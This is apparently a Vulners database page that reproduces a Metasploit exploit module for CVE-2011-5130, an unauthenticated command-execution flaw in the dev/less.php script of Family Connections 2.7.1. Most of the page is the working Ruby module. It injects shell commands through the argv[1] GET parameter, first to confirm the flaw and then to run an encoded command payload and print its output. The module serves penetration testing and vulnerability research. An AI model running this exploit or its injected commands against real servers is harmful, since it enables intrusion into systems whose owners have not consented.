Lucene search
K

Family Connections less.php Remote Command Execution

🗓️ 07 Dec 2011 06:00:56Reported by mr_me <[email protected]>, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 16 Views

Family Connections Remote Command Executio

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2011-5130
30 Aug 201222:55
attackerkb
Circl
CVE-2011-5130
4 Dec 201100:00
circl
CVE
CVE-2011-5130
30 Aug 201222:00
cve
Cvelist
CVE-2011-5130
30 Aug 201222:00
cvelist
Dsquare
Family connections CMS 2.7.1 RCE (Linux)
19 Mar 201200:00
dsquare
Dsquare
Family connections CMS 2.7.1 RCE (Windows)
19 Mar 201200:00
dsquare
NVD
CVE-2011-5130
30 Aug 201222:55
nvd
OpenVAS
Family Connections 'argv[1]' Parameter Remote Arbitrary Command Execution Vulnerability
6 Dec 201100:00
openvas
Prion
Code injection
30 Aug 201222:55
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Family Connections less.php Remote Command Execution',
      'Description'    => %q{
        This module exploits an arbitrary command execution vulnerability in
        Family Connections 2.7.1. It's in the dev/less.php script and is due
        to an insecure use of system().  Authentication isn't required to exploit
        the vulnerability but register_globals must be set to On.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <steventhomasseeley[at]gmail.com>', # Vulnerability discovery and exploit
          'juan vazquez'  # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2011-5130' ],
          [ 'OSVDB', '77492' ],
          [ 'URL', 'https://www.familycms.com/blog/2011/11/security-vulnerability-fcms-2-5-2-7-1/' ],
          [ 'URL', 'http://sourceforge.net/apps/trac/fam-connections/ticket/407' ],
          [ 'URL', 'http://rwx.biz.nf/advisories/fc_cms_rce_adv.html' ],
          [ 'EDB', '18198' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Compat'     =>
          {
            'PayloadType'  => 'cmd',
            'RequiredCmd'  => 'generic telnet perl ruby python',
          }
        },
      'Platform'       => %w{ linux unix },
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic',{}]],
      'DisclosureDate' => '2011-11-29',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('URI', [true, "The path to the Family Connections main site", "/fcms/"]),
      ])
  end

  def check
    uri = normalize_uri(datastore['URI'])
    uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"

    mark = Rex::Text.rand_text_alpha(rand(5) + 5)

    res = send_request_cgi({
      'uri'       => uri,
      'vars_get'  => { 'argv[1]' => "|echo #{mark};#" }
    }, 25)

    if res and res.code == 200 and res.body =~ /#{mark}/
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    uri = normalize_uri(datastore['URI'])
    uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"

    start_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
    end_mark  = Rex::Text.rand_text_alpha(rand(5) + 5)
    custom_payload = "|echo #{start_mark};#{payload.encoded};echo #{end_mark};#"

    res = send_request_cgi({
      'uri'       => uri,
      'vars_get'  => { 'argv[1]' => custom_payload }
    }, 25)

    if res and res.code == 200 and res.body =~ /#{start_mark}/
      # Prints output when using cmd/unix/generic
      result = res.body.split(/#{start_mark}/)[1].split(/#{end_mark}/)[0]
      if not result.strip.empty?
        print_status("Result of the command:\n#{result}")
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation